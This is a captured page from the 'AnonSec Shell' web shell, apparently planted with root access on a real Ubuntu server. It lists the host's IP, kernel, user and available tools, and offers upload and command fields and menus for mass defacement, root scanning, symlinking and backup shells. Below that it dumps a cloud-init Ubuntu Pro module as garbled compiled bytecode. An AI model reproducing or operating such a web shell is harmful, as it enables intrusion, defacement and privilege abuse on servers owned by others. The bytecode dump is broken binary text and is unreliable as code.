AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_ubuntu_pro.cpython-310.pyc
o

x[h�6�
@sVUdZddlZddlZddlZddlmZmZddlmZddl	m
Z
mZmZddl
mZddlmZddlmZdd	lmZed
dg�Zdd
gedgee�d�Zeed<e�e�ZdZdZdZde fdd�Z!de fdd�Z"d-defdd�Z#d-dd�Z$defdd �Z%de d!e&fd"d#�Z'de fd$d%�Z(de fd&d'�Z)d(e*d)eded*ed!df
d+d,�Z+dS).z1ubuntu_pro: Configure Ubuntu Pro support services�N)�Any�List)�urlparse)�performance�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEzubuntu-advantage�ubuntu_advantage�
cc_ubuntu_pro�ubuntu�
ubuntu_pro)�id�distros�	frequency�activate_by_schema_keys�meta�REDACTEDzUUnable to determine if this is an Ubuntu Pro instance. Fallback to normal Pro attach.)�
http_proxy�https_proxy�global_apt_http_proxy�global_apt_https_proxy�ua_apt_http_proxy�ua_apt_https_proxy�pro_sectioncCs�d|vrdS|d}t|t�s dt|�j��}t�|�t|��d|vr&dS|d}t|t�s@dt|�j��}t�|�t|��dS)N�featuresz.'ubuntu_pro.features' should be a dict, not a �disable_auto_attachzB'ubuntu_pro.features.disable_auto_attach' should be a bool, not a )�
isinstance�dict�type�__name__�LOG�error�RuntimeError�bool)rr�msgr�r(�@/usr/lib/python3/dist-packages/cloudinit/config/cc_ubuntu_pro.py�validate_schema_features*s*
��

��
�r*�
pro_configc
Cs�g}t|���D]:\}}|tvrt�d|�q|durqzt|�}|jdvr.|�d|���Wqtt	fyB|�d|���Yqw|rOt	d�
d�|����dS)a�Validate user-provided ua:config option values.

    This function supplements flexible jsonschema validation with specific
    value checks to aid in triage of invalid user-provided configuration.

    Note: It does not log/raise config values as they could be urls containing
    sensitive auth info.

    @param pro_config: Dictionary of config value under 'ubuntu_pro'.

    @raises: ValueError describing invalid values provided.
    z4Not validating unknown ubuntu_pro.config.%s propertyN)�http�httpsz-Expected URL scheme http/https for ua:config:zExpected a URL for ua:config:z$Invalid ubuntu_pro configuration:
{}�
)�sorted�items�KNOWN_PRO_CONFIG_PROPSr#�warningr�scheme�append�AttributeError�
ValueError�format�join)r+�errors�key�value�
parsed_urlr(r(r)�supplemental_schema_validationEs2
�
�����r=cCs�|durdSt|t�stdt|�j�d���t|�g}t|���D]�\}}d}i}|dur;t�	d|�ddd|g}n4|�d�}t�	d|�t
�d	|�rW|�d
t
�|���}n|�d
|��}ddd|g}d|dd
�|gi}zt
j
|fi|��Wq"t
jy�}zt|�}	|dur�|	�|t�}	|�||	f�WYd}~q"d}~ww|r�|D]\}
}t�d|
|�q�td�d�dd�|D�����dS)Nz+ubuntu_pro: config should be a dict, not a z%; skipping enabling config parameterszDisabling Pro config for %s�pro�config�unsetz	=REDACTEDzEnabling Pro config %sz\s�=�set�	logstring���z#Failure enabling/disabling "%s":
%sz3Failure enabling/disabling Ubuntu Pro config(s): {}�, css�|]
\}}d�|�VqdS)z"{}"N)r7)�.0�param�_r(r(r)�	<genexpr>�s�z!set_pro_config.<locals>.<genexpr>)rr r%r!r"r=r/r0r#�debug�re�search�escaper�ProcessExecutionError�str�replacerr4r2r7r8)r+�
enable_errorsr:r;�redacted_key_value�subp_kwargs�
config_cmd�	key_value�e�err_msgrGr$r(r(r)�set_pro_configlsR
��
�����rXc
CsH|durg}nt|t�rt�d�|g}nt|t�s%t�dt|�j�g}|r.ddd|g}ndd|g}|dd�tg}t�dd	�	|��zt
j
|d
dh|d�Wn%t
jyv}zt|��|t�}d
|��}t
�t|�t|�|�d}~ww|s{dSgd�|}zt
j
|dd
dhd�\}}	Wnt
jy�}z
tdd�	|��|�d}~wwzt�|�}
Wntjy�}ztd|���|�d}~wwg}|
�dg�D]}|ddkr�t�d|d�q�|�|�q�|�r"g}
|D].}|�d�}|du�r|
�|�d|�d|d��}nd|d�d|d��}t
�t|�q�tdd�	|
���dS) z=Call ua command line client to attach and/or enable services.NzNubuntu_pro: enable should be a list, not a string; treating as a single enablezIubuntu_pro: enable should be a list, not a %s; skipping enabling servicesr>�attachz--no-auto-enablerDzAttaching to Ubuntu Pro. %s� r�)�rcsrCzFailure attaching Ubuntu Pro:
)r>�enablez--assume-yesz--format�jsonT�)�capturer\z!Error while enabling service(s): rEzPro response was not json: r9�message_codezservice-already-enabledzService `%s` already enabled.�servicezFailure enabling `z`: �messagezFailure of type `r!z(Failure enabling Ubuntu Pro service(s): )rrOr#r2�listr!r"rrJr8rrNrPr�logexcr%r^�loads�JSONDecodeError�getr4)�tokenr]�
attach_cmd�redacted_cmdrV�err'�cmd�
enable_stdoutrH�enable_resprQ�err�error_servicesrbr(r(r)�
configure_pro�s�
�
�


����������


���rr�cloudcCslt�d�rdSz|j��Wntyt�td��wz
|j�dg�WdSty5t�td��w)z.Install ubuntu-advantage-tools if not present.r>NzPackage update failedzubuntu-advantage-toolsz(Failed to install ubuntu-advantage-tools)	r�which�distro�update_package_sources�	Exceptionrrer#�install_packages)rsr(r(r)�maybe_install_ua_tools�s
��ry�returnc
Cs�t|�di��dd��}|rdSddlm}ddlm}z!tjddd	��|�}Wd�W|jS1s5wYW|jS|y[}zt�	d
|�t�
t�WYd}~dSd}~ww)NrrFr)�UserFacingError)�should_auto_attachz6Checking if the instance can be attached to Ubuntu Pro�always��log_modez%Error during `should_auto_attach`: %s)r&rh�uaclient.api.exceptionsr{�4uaclient.api.u.pro.attach.auto.should_auto_attach.v1r|r�Timedr#rJr2�ERROR_MSG_SHOULD_AUTO_ATTACH)rrr{r|�result�exr(r(r)�_should_auto_attachs.���	�	�
��r�cCsZ|�d�}|sd}t�|�t|��|�d�}|r"t�dd�|��t||�d�d�dS)Nriz8`ubuntu_pro.token` required in non-Pro Ubuntu instances.�enable_betaz<Ignoring `ubuntu_pro.enable_beta` services in Pro attach: %srEr])rir])rhr#r$r%rJr8rr)rrir'r�r(r(r)�_attach(s


�r�c

Cs�ddlm}m}ddlm}m}|�d�}|�d�}|||d�}z!tjddd	��||d
�Wd�WdS1s:wYWdS|y[|dusP|durXt	�
d�YdSYdS|yv}zd|j��}	t	�|	�t
|	�|�d}~ww)
Nr)�AlreadyAttachedErrorr{)�FullAutoAttachOptions�full_auto_attachr]r�)r]r�zAttaching to Ubuntu Pror}r~)�optionsz�The instance is already attached to Pro. Leaving enabled services untouched. Ignoring config directives ubuntu_pro: enable and enable_betaz!Error during `full_auto_attach`: )r�r�r{�2uaclient.api.u.pro.attach.auto.full_auto_attach.v1r�r�rhrr�r#r2r'r$r%)
rr�r{r�r�r]r�r�r�r'r(r(r)�_auto_attach7s0

�&�
��

��r��name�cfg�argscCs2d}tt�|��}|r)t|�dkrtdd�|���t�dd�|��||d}d|vr;|r7t�d|d�|d}|durGt�d|�dSt	|t
�s]d	t|�j��}t�
|�t|��d
|vrld}t�
|�t|��t|�t|�d��t|�t�d
�t|�r�t|�dS|��dhks�t|�dSdS)Nr_zLUnable to configure Ubuntu Pro. Multiple deprecated config keys provided: %srEz^Deprecated configuration key(s) provided: %s. Expected "ubuntu_pro"; will attempt to continue.rrz;Ignoring deprecated key %s and preferring ubuntu_pro configz=Skipping module named %s, no 'ubuntu_pro' configuration foundz%'ubuntu_pro' should be a dict, not a �commandszPDeprecated configuration "ubuntu-advantage: commands" provided. Expected "token"r?zETo discover more log info, please check /var/log/ubuntu-advantage.logr)rd�DEPRECATED_KEYS�intersection�lenr%r8r#r2rJrr r!r"r$ryrXrhr*r�r��keysr�)r�r�rsr�r�
deprecatedr'r(r(r)�handleYsd�����
��
�
��r�)N),�__doc__r^�loggingrK�typingrr�urllib.parser�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
�cloudinit.settingsrrBr�rdr�__annotations__�	getLoggerr"r#rr�r1r r*r=rXrrryr&r�r�r�rOr�r(r(r(r)�<module>s>�
�
'
,d""

Anon7 - 2022
AnonSec Team